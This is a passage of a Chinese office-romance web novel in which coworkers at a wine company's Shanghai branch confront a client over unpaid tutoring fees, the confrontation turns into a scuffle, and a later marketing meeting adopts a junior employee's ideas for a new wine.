电梯门开,盛仰先进去,奚涧和Bruce随后跟上。Bruce按了一楼,感叹道:“太拼了吧。”
奚涧:“你俩没结婚,没生孩子,不懂我们中年人的压力。”
Bruce笑他:“又没人绑着你们结婚生娃,还不是你们自找的。”
“唉,别提了。”奚涧摆手叹气,“我都愁死了,我们家那货去年谈了个小男朋友,净学坏,本来成绩就差,这下更差了,她老师说她可能连民办本科都考不上。”
Bruce劝道:“不要阻止热恋的小情侣,你越阻止,他们就越觉得自己的爱情伟大,天涯海角永不分离。成绩差就差呗,到时候送到国外去不就好了。”
“说得轻巧,她们这个年纪很敏感,又容易受外界影响。”奚涧感慨道:“唉,所以我看到花诗雨这小姑娘就喜欢,就比我闺女大个四五岁,她就很乖巧懂事,对待每一件事都很认真,叫人省心,人家父母怎么这么会生养呢。”
Bruce附和:“确实,花诗雨这姑娘没有她这美貌的傲气,也没有她这年龄的娇气,很难得。”
电梯门开,盛仰先出去,并终止他俩的闲谈:“去吃饭,不要瞎议论人家。”
21. 打架
次日上班,花诗雨如往常一样早早来到办公室,一来就看到Sofía趴在工位上,发出抽泣声。
花诗雨立马放下包,坐到她旁边,手轻轻抚着她后背,以为她是因为美签没过而伤心,便安慰道:“没关系的Sofía,这次没过,可以下次再申请的呀,要是一直不通过,可以和弟弟约在其他国家见面呀。”
Sofía抬起头来,红润的眼看着花诗雨,见花诗雨与年前的穿着打扮有了很大变化,先夸一句:“诗诗,你好漂亮。”然后眼泪又止不住地往下流,“我不是因为没通过美国签证而难过的,而是...而是...”
Sofía一抽一抽的,表达都难。
花诗雨抽了张纸巾帮她擦拭眼泪,又抱抱她:“有什么困难可以和我们说,我们是朋友,互相帮助的朋友。”
这时,盛仰捏着车钥匙进来,见花诗雨抱着哭泣的Sofía,以为Sofía失恋了,他就没多问,默默走向自己办公室。
Sofía情绪稍好转后,说道:“我的国家发生了战争,所有的食物都变得很贵,我的妈妈和妹妹们吃不起东西,没有地方住,我的弟弟也快交不起学费了。”
曾经,Sofía有向花诗雨和Emily提及过自己的事情。她说她家里一直都比较困难,有两个妹妹、一个弟弟,她是通过很大的努力才来到中国读书,而她的两个妹妹留在委内瑞拉和妈妈一起生活,她弟弟去年考上了美国的医学院。她则在中国努力赚钱,省吃俭用,一有钱就寄给妈妈和弟弟。
此刻,听完Sofía的诉说,花诗雨心沉住了,不知道该用什么语言去安慰一个身陷苦难的人。如果是家庭或者个人的困难,可以通过努力改变,咬咬牙就过去了,可在动荡国家面前,个人任何努力都是苍白的。
盛仰止住要迈进自己办公室的脚步,转过身来,向她们走去:“Sofía,你弟弟在美国哪个城市?哪个大学?”
“LosAngeles,YYYuniversity。”
“我妈也在洛杉矶,你把你弟弟的银行卡账号和学生卡发给我,我让我妈资助你弟上学。”
Sofía感动不已,连声说“谢谢”,她是真的没有办法了,一个人根本养不起五个人。
“没事,我妈很乐意帮助有需要的人,但是也只是资助一两年,帮你们过渡一下,后续还是需要他自己努力。”盛仰同情遭遇不幸的人,但他更希望不幸的人能依靠自己渡过困境,“你这几天先在家休息吧,调整下情绪。”
Sofía哽咽道谢:“好的,谢谢老板。”
“没事。”盛仰转身去了自己办公室。
“Sofía,要不我送你回家休息吧,你手头的工作我帮你做。”花诗雨抽了一张又一张纸巾帮Sofía小心擦着眼泪,她没有盛仰那个经济实力能实际帮助到Sofía,只能在一旁陪伴。
“No,我必须工作赚钱!”Sofía仰起头,不断深呼吸以调整自己的情绪,“我今天要去楼下找王美菊,她欠我60个课时的费用没给。”
Emily哼着小曲进来,看到伤心的Sofía,曲也不唱了,迅速跑到Sofía身旁:“怎么了?怎么了?谁欺负你了?我去干死它!”
花诗雨说:“王美菊还是没有把课程费给Sofía。”
假期的时候,Sofía在她们三人小群里分享过自己去王美菊家上门做家教的事情,她每天往返三个小时到王美菊家上两个小时的课,费用说好的一周结一次,王美菊却老拖着不给。考虑到CR与悦享有合作,Sofía不想与王美菊闹僵,便忍了下来。
“妈的!”Emily扔下包,气愤地撸起袖子,“我现在就去找那抠门老妇算账!”
Emily刚想走,Sofía就拉住了Emily的胳膊:“我刚去找过了,不在,她的同事告诉我说她要下午才过来。”
“下午,下午是吧,下午我去找她!”Emily把袖子放下来,椅子拖到Sofía身旁坐下,围着她的肩,“Sofía,你不用担心,我们会帮你要回这笔钱,她不给,我们就报警,一定会要回来的。”
Sofía:“嗯嗯,谢谢你们。”
上午上班期间,花诗雨通过微信把Sofía家里的事情都告诉了Emily,两人都心照不宣地不再当面提起这些事,只观察她,照顾她的情绪。
三人在茶水间吃午饭时,线人发来消息说是王美菊到公司了,Emily把筷子往饭盒上一扣,愤然起立:“抠门老妇来了!走!去找她!”
接着,Emily一手拉着Sofía,一手拉着花诗雨,通过楼梯哐哐下楼,直接冲进王美菊的单人办公室。
王美菊正在办公桌前吃饭,一脸吃惊地望着突然闯进来的三人。
Emily先是客气道:“王经理,你欠Sofía六十课时的费用没给,一共四千八,麻烦现在结算一下。”
王美菊不高兴了,站起来问Sofía:“Sofía,我们一开始不是说好了吗?50块钱一个小时,如果没有效果费用再减半!”
Sofía:“我根本就没有同意50元一个小时。”
王美菊反问:“我爸问你,你不是口头同意了吗?”
Sofía:“我一直都是说80块钱一个小时的!”
“你同意了,你不能反悔!”王美菊阴阳怪气道:“教得也不好,一点都没提高,口音也不正宗,一股咖喱味。”
Emily火气上来了:“自己孩子脑子不灵光,还说别人教不好,五十块一个小时你去抢吗?”
说她孩子不聪明,王美菊怒气也上来了,拍桌子:“你说谁脑子不灵光?要不是看在你们老板的面子上,才不要浪费钱请一个穷拉美的!”
“大姐!”Emily也拍桌子,“当初是你厚脸皮求着我们Sofía去你家当外教,她天天两三个小时到你家去,你倒好,一分钱不给。”
王美菊直接道:“她不值那个价!”
Sofía中文吵不来架,花诗雨帮着理论一句:“您觉得不值这个价,您完全可以和Sofía说呀,提前结束课程呀。”
“对呀!完全就是白嫖!”Emily指着王美菊说:“你赶紧给钱!不然我们要报警了!”
王美菊狠狠推了一下Emily的手:“你指谁呀你?”
Emily不甘示弱:“指你!”
王美菊直接上手了,两人开始推搡,花诗雨和Sofía在一旁拉架,但是劝不住。
悦享的人也进来劝架。悦享行政跑去了楼上,刚好碰到盛仰、奚涧和Bruce从外面吃饭回来,悦享行政认识他们,喘着气说:“你们公司三个女孩子跟我们王经理打起来了!”
Bruce:“谁呀?因为什么打起来的?”
悦享行政:“好像是我们王经理请了你们公司的一位外国人当孩子的西语家教,因为钱的事情打起来了。”
三人明白了她说的三个女孩子是谁了,匆匆跟着下了楼。
他们到时,几个女人在里面互相扯着头发大喊大叫,奚涧第一个跑去拉气势最凶的Emily,Bruce去拉帮架最凶的Sofía。
花诗雨在外围一边拉一边劝说,却总是被人误伤,不是被人肘击,就是被人扯到头发。盛仰大步走过去,拎着她的后衣领,把她拉出来:“你瞎凑什么热闹?”
花诗雨扒拉开脸颊两侧被打乱的头发,露出通红的脸,“老板你来了。”
“嗯。”盛仰指着安全的另一边,“一边去。”
花诗雨听话,往盛仰安全的那一边去了。
打架的人被两方的人强力拽开。
盛仰问当事人Sofía:“Sofía,怎么回事?”
Emily指着王美菊,抢话道:“是她,她欠Sofía的课时费没给。”
“Emily,你消停点,没让你回答。”盛仰转而看着Sofía,语气相对温和:“Sofía,你是当事人,你说吧,如果真的有委屈,我们会帮你讨回公道的。”
Sofía:“从一月底开始,我一周六天到王经理家给她家小孩当老师,说好的八十元一课时,我上了六十个课时,一分钱都没收到。”
王美菊争论道:“你说八十元一课时就八十元一课时吗?你说上了六十个课时就六十课时吗?”
Sofía:“我有记录。”
王美菊:“我们又没签字,我不认。”
盛仰抬手制止她们的争吵:“好了,都成年人了,有话好好说。”随后继续问Sofía:“Sofía,说八十元一个课时,有证明?”
Sofía:“有,微信有聊天记录,八十元一个课时,一个课时一小时,她说可以。”
盛仰引导式地问:“每天是坐地铁过去的吗?有乘坐地铁的记录吗?”
Sofía:“有的,我都是用Metro刷卡搭乘地铁,上面有记录。从我家附近的地铁站上车,到王经理家附近的地铁站下车,下车后我骑共享单车到她家小区。”
“好的。”盛仰继续问:“上课有记录吗?或者有约课记录吗?有跟王经理家的孩子联系吗?”
Sofía:“上课没记录,但是Doris房间有监控,每次上课都会提前问Doris,我每堂课结束后都会发总结给Doris,Doris也时常问我问题,有时我还免费西班牙语陪聊,都有语音记录。”
几问几答,真相无需再辩,盛仰微笑着同王美菊说:“王经理,您可能忙,没有注意自家小朋友的上课情况。建议您回家跟小朋友核实一下,核实完了,抽空转下钱,这事也就到此为止了。”又象征性地道歉:“今天不好意思了,我们公司的小姑娘确实鲁莽点了,我回去跟她好好说说。”
事实摆在眼前,王美菊白嫖计划落空,接着盛仰的台阶下:“我吃饭吃得好好的就跑过来大喊大叫,又不是不会给,我等下打电
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话问下我女儿就会给她转过去。”
Bruce跟着客气道歉:“不好意思哦,中午打扰您吃饭,回头我请回来。”
王美菊勉为其难道:“行吧,本来还想和你们长期合作的,这下看来...”
盛仰礼貌性地与王美菊道了个别,随后转身走了,奚涧一众人跟上。
进了电梯,盛仰对Bruce说:“你回头请悦享老板吃个饭,如果他也像王美菊一样不守信用的话,那合作一次就无需再合作了,不需要这样不讲信用的合作伙伴。”
Bruce:“我与他们老板见过几次了,人好说话,不是王美菊这种抠抠搜搜、蛮不讲理的人。”
出了电梯,盛仰回过头来,眼神扫过三个姑娘:“你们三个,来我办公室一趟。”又看向溪涧:“你也来吧!”
奚涧委屈耸肩,下属犯点小错,卑微领导也不放过。
盛仰办公室里。
三女生站一排,个个头发都还是凌乱的。奚涧和Bruce抱着胸各靠在盛仰办公桌的一角,做好了看热闹的准备。
盛仰先是走到Emily面前,忽然冲她喊了一声:“姑姑!”
从未听过他喊自己姑姑,这声“姑姑”把Emily尴尬得无地自容,刚打架都没脸红的她,这会腾地一下就脸红了。
奚涧和Bruce在旁边扶额憋笑。
“原来姑姑也会害羞啊?”盛仰越是故意逗她。
Emily一手尴尬捂眼,一手扯了扯他胳膊,“好了老板,我错了,再也不打架了。”
盛仰蹭掉她的手:“都快三十的人了,天天不是跟老太吵架就是跟更年期的女人打架,自己干架就算了,还带俩小的去。”
“我...我...”Emily想辩解来着,发现找不到辩解的理由。
“整栋楼都知道你跑去跟人打架了。你说说你,嫁给了个文化人,却不知道用脑子解决问题,偏要用这张把不住门的嘴。”盛仰说,“你在家怎么样我不管,但是你上班期间去跟我们客户吵架,就有损公司形象和利益,你这个月的绩效扣掉!”
Emily只管低头认错:“好的,扣吧,下次绝不干这种蠢事了,对不起。”
盛仰放过她,进一步到Sofía面前,“你...”刚想说上两句,他又止住了,语气相对委婉道:“Sofía,建议你以后做外教的兼职时,都让对方在你的课时记录表上签字,凡事留痕。”
“凡事留...痕?”Sofía不懂留痕为何意,“什么意思呀?”
Bruce解释道:“就是做事情最好留下证明或证据,避免对方不认,比如像今天的王美菊一样。”
Sofía:“好的,我以后会注意的。”
盛仰再进一步,轮到花诗雨了,“还有你,你跟去掺和什么呢?Emily有老公爱护,有父母袒护。Sofía外国人,别人会对她客气几分。你呢?被人欺负了都不知道找谁。”
花诗雨不吭声,他说得都对,自己无依无靠,不能冲动行事。
盛仰:“下次遇到这种事情过来找我,找奚涧,找Bruce都可以,不要一股脑的跟着Emily冲,她可以不带脑子,你不能不带脑子,明白吗?”
花诗雨乖乖点头:“好的,这次是我冲动了。”
盛仰像个操心的老班主任一样,对她们摆了摆手:“你们三个回去吧,好好反思一下。”
花诗雨便领着Sofía和Emily出去了。
Bruce憋不住大笑起来:“你刚就像我高中班主任一样,管三个犯错的女学生。”
盛仰:“你别笑了,悦享这个客户最好还是不要流失,你去维护好。”
Bruce比了个ok:“放心吧,王美菊可是拿了我好处的人,她若是敢公报私仇,我就敢揭发到她老板那里去。”
“嗯。”盛仰转而走向奚涧,提醒:“你们部门的人过于松懈了,你自己看着办吧,没出成绩就全换掉!”
“好的老板。”奚涧举起双手一步一步往后退,用背推门,“我现在就去说说她们!”
看完好戏,Bruce跟在奚涧屁股后面溜走了。
两人出来就看到花诗雨端端正正坐那工作,而Emily和Sofía在那互相理头发,奚涧敲了敲她俩工位:“先工作吧,快下班了,下班了再搞头发。”
Emily和Sofía便停止整理头发,投入工作。
Bruce忽然关心问起Sofía:“Sofía,我看新闻上报道你们国家发生内战了,你的家人还好吗?”
不提起还好,一提起Sofía就开始伤心了。
花诗雨和Emily都作“嘘”的手势,示意他这会不要提这件事。
Bruce意识到自己多嘴了,便对Sofía说:“晚上带你去一家餐厅吃饭,老板娘也是你们国家的人哦。”
Sofía点点头,她乐意同Bruce一起吃饭。
22. 赞赏
CR与总部开线上集体会议。
会议室坐满了一屋子人,屏幕上是总部的人在讲话,主要是关于新品的推出计划。
随后,大屏出现了紫色的曼妙曲线酒瓶,瓶颈部分绑了一个紫色丝带。酒标是白色打底,上面图案是深紫色的丝带以及深紫色的文字。酒标上的酒名是“Gustarte”,即为“悦己”。
花诗雨看到这些时都瞪大了眼睛,这完全是她想象中的酒瓶和酒标的样子,而且有比她想象中更完美的地方,那便是酒塞和瓶底做了玫瑰花的雕刻。
不光花诗雨,其他人也都发出赞叹,都表示这酒瓶看起来非常优雅、有韵味,一眼就爱上了。
花诗雨偷偷望向主位的盛仰,觉得是他采纳了自己的想法,并提交给总部。盛仰余光扫了她一眼,没做任何眼神表示,继续认真看向屏幕。
不一会,总部的人在屏幕的那头说:“WewouldliketothankourShanghaicolleagueShishiforcontributingherideas,whichhelpedusdesignawinebottleandlabelthateveryonepraises(感谢上海同事Shishi为我们提供的想法,使我们设计出了一款大家都称赞的酒瓶和酒标)。
在场的同事纷纷向花诗雨投去赞许的目光,有的竖起大拇指表示夸赞。
被当众夸,还是当着海内外这么多名员工的面夸,花诗雨羞涩地靠向了Emily的胳膊,抿嘴着点点头,谦虚地迎接了同事们的赞许目光。
在讨论完各个环节的时间线以及各部门需要配合的工作之后,集体会议结束,市场部门被盛仰留下。
今天也是Tina回归之日,奚涧先是向花诗雨和Sofía介绍Tina:“Tina,老员工,市场部主管。”
Tina微胖的身材,略显疲态的脸,一身休闲卫衣,随便绑了个低马尾,笑着说:“不用介绍了,上午我就与两位大美女交流过了,都是很优秀的年轻人。”
花诗雨甜美微笑回应:“嗯嗯,我们已经和Tina姐一起吃过饭啦。”
今早一来,Tina就带了两份小礼物送给两位新同事,对她们嘘寒问暖。花诗雨觉得她就像一位亲切的大姐姐,看起来没有距离感。
盛仰吩咐Emily把自己的电脑连上投影,连好后,他点开自己的营销方案,说道:“酒瓶、酒标、酒名都已确定,装瓶、运输等事宜总部会处理好,我们接下来要做的就是布局营销,我初步做了一个营销方案。”
众人看向投影屏幕,营销方案首页着重标黄了“轻熟”、“微醺”、“20-35岁”、“第一口葡萄酒”和“悦己,送给自己最好的礼物”等字眼,很多都是花诗雨当初提出来的想法。
“这里面的很多想法其实是花诗雨提出来的。”盛仰看向花诗雨,点名表扬道:“她有认真去做市场调研,有积极表达自己想法,非常好!”
Emily偏头对花诗雨抛了个眼:“真棒!”
“万一...”花诗雨没想到公司会采用自己的想法,她怕营销不起来,“万一我提出来的这些想法没作用怎么办?”
奚涧背靠椅背,抱着胸,架着腿,对花诗雨说:“欸,诗诗,不要对自己没有信心。老板能发出来,就说明得到了总部的认可,你要相信领导们的选择,更要相信你自己。”
盛仰不像奚涧那般啰嗦鼓励,直接一句:“真搞不起来,也是怪我头上,还轮不到你这个小员工!”
还别说,盛仰这简单粗暴的一句更管用,花诗雨的担心一下全消,反正天大的事老板会顶着。
接着,盛仰拨了下鼠标,换下一页——线上推广方案。他问奚涧和Emily:“年前说的去找合适的媒介推广,进展如何?”
这部分工作Emily事先已向奚涧汇报过,奚涧总结道:“筛选了三档比较适合投广的综艺,还没录制,适合放到节目里投广。第一档是XT新开发的《初入职场的生活》,符合我们的宣传主题,而且刚开发,价格相对便宜,但是这档综艺请的是素人,担心播放后没有流量,那我们广告白投了;第二档是GM开发的《职场妈妈》第二季,上一季收视很好,受众群体多为女性,但年轻女性估计不爱看,广告费用也贵;第三档还是GM开发的明星到国外旅游的节目《慢慢走,去远方》,大热明星,流量高,受众广,广告费当然也贵,前两档加起来也没这个贵。”
奚涧已经把投广到综艺的利与弊都分析出来了。盛仰看了看两侧的人,问道:“你们自己有什么想法吗?”
Emily率先发表意见:“我觉得可以押个宝,押TX的那档素人综艺。XT财大气粗,超会搞宣传的,反正广告费也不贵,要是火了就值了。”
Tina则说:“我认为抢投明星旅游节目比较稳妥。首先GM每档综艺都做得很好,肯定有收视的,其次我研究过GM其它类似旅游的节目,收视都特别好。”
花诗雨弱弱地举手:“我有一个比较大胆的想法,不知道可行不可行。”
盛仰伸了下手,示意她说。
花诗雨便说:“明星国外旅游的那档综艺,如果他们去欧洲的话,是否可以邀请他们到我们酒庄去旅游,邀请他们体验酿酒等过程。”
奚涧和Tina都笑了,这异想天开的想法。Tina说:“行程是节目组提前制定的,我们哪有话语权更改人家的行程呀。再说这样一来,会占用节目很长时间,费用自然高,可能会入不敷出。”
花诗雨缓缓点头,慢慢低下头去,心想又闹笑话了。
盛仰突然说:“你的想法确实很大胆。”
花诗雨头越来越低,快低到电脑键盘上了,“不好意思,我瞎说的,让你们见笑了。”
盛仰却来了一句转折:“但是,我觉得非常可行!”
花诗雨立马抬起头来,对上盛仰的视线。被认可了,还是被老板认可,她原本不自信的眼里都有了光。
“是很可行啊,如果节目播的好,那不就借机宣传了西班牙的葡萄酒,宣传了我们酒庄的旅游和酒。”盛仰钦点花诗雨:“你提出来的,你去跟进了解吧。”
花诗雨忙点头,只
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要有人认可,她就愿意去做。
盛仰看了看右手边的三位女生:“你们要不先回去吧,我跟奚涧和Tina讨论点事情。”
“好的。”三人抱着自己的电脑出去,花诗雨走在最后面,她轻轻带上了会议室的门。
待他们出去后,盛仰对奚涧和Tina说:“现在你们市场的人都齐了,我希望你们能擅于发现员工的长处,合理安排好部门员工的工作,不要再那么松懈和混乱了。”
奚涧:“嗯,我的错,以前人手不够,就让她们什么都沾点。”
CR市场部主要分为通路营销和品牌营销。通路营销是和销售部配合,主要面向经销商等;品牌营销则主要面向C端客户,举办各种线上线下推广活动等。
“我的想法是Emily还是做通路营销这块,带着Sofía一起,配合销售部门。”盛仰看向Tina说:“Tina你依旧负责品牌营销这块,带着花诗雨。花诗雨虽然没有什么工作经验,但其实她想法新颖,会观察,有市场敏锐度,适合做品牌推广。就是有一点,她对自己的能力不够自信,可以适当鼓励她,激发她的潜能。”
“啊,那岂不是跟带一个实习生一样?”Tina有点不情愿了,怕拖了自己后腿,怕自己要干太多活,“我怕我忙不过来呀。”
盛仰反问:“那你的意思是让我带?”
怎么能让老板带,Tina连摆手:“不是那个意思,我刚生完孩子,家里事也多,怕照顾不上来。”
奚涧伸伸懒腰:“你就放一万个心,我做领导也有些年头了,花诗雨是我见过最认真,最叫人省心的员工,你交给她一件事情,她会超额完成。当然有时候也会因为缺乏经验而做的不够完美,但是你只要提点一二,她就会出乎你的意料。”
“也不要你带,就你们俩相互配合工作,你在主导位置,你若觉得她不够行,可以把她换掉的。”盛仰坐到这个位置,他是希望能发现并利用好每位员工的长处,也愿意花精力培养有潜能的员工,但并不是每一位管理层都是这样想的,有的是怕下属威胁到自己地位的人,“但是我推崇能者上,不管先来还是后到。”
后面的这句话给Tina上了压力,只能接受老板的安排,也不敢懈怠。
下班时,盛仰和奚涧一起坐电梯去地下车库,奚涧问:“你下午对Tina说能者上的时候,Tina那脸色都变了,以为自己要被换掉了,你干嘛给一个刚生完孩子的妈妈施加这么大的压力。”
“我好好交代她带手下的时候,她却在推卸责任,我能怎么办?”盛仰说,“混日子的可以是底下普通员工,但不能是主管,主管没点压力做什么主管?”
“如果后期花诗雨真的比Tina做得好的话,那你让花诗雨上?”
盛仰笑了,走出电梯,“我不买股,我只看结果。”
奚涧跟上:“我买股,买花诗雨这只股,我还惦记你那二十万的酒。”
“......”
奚涧问:“明天需要我和你们一起去花溪村度假酒店吗?”
“不用了,我和花诗雨两个人就够了。”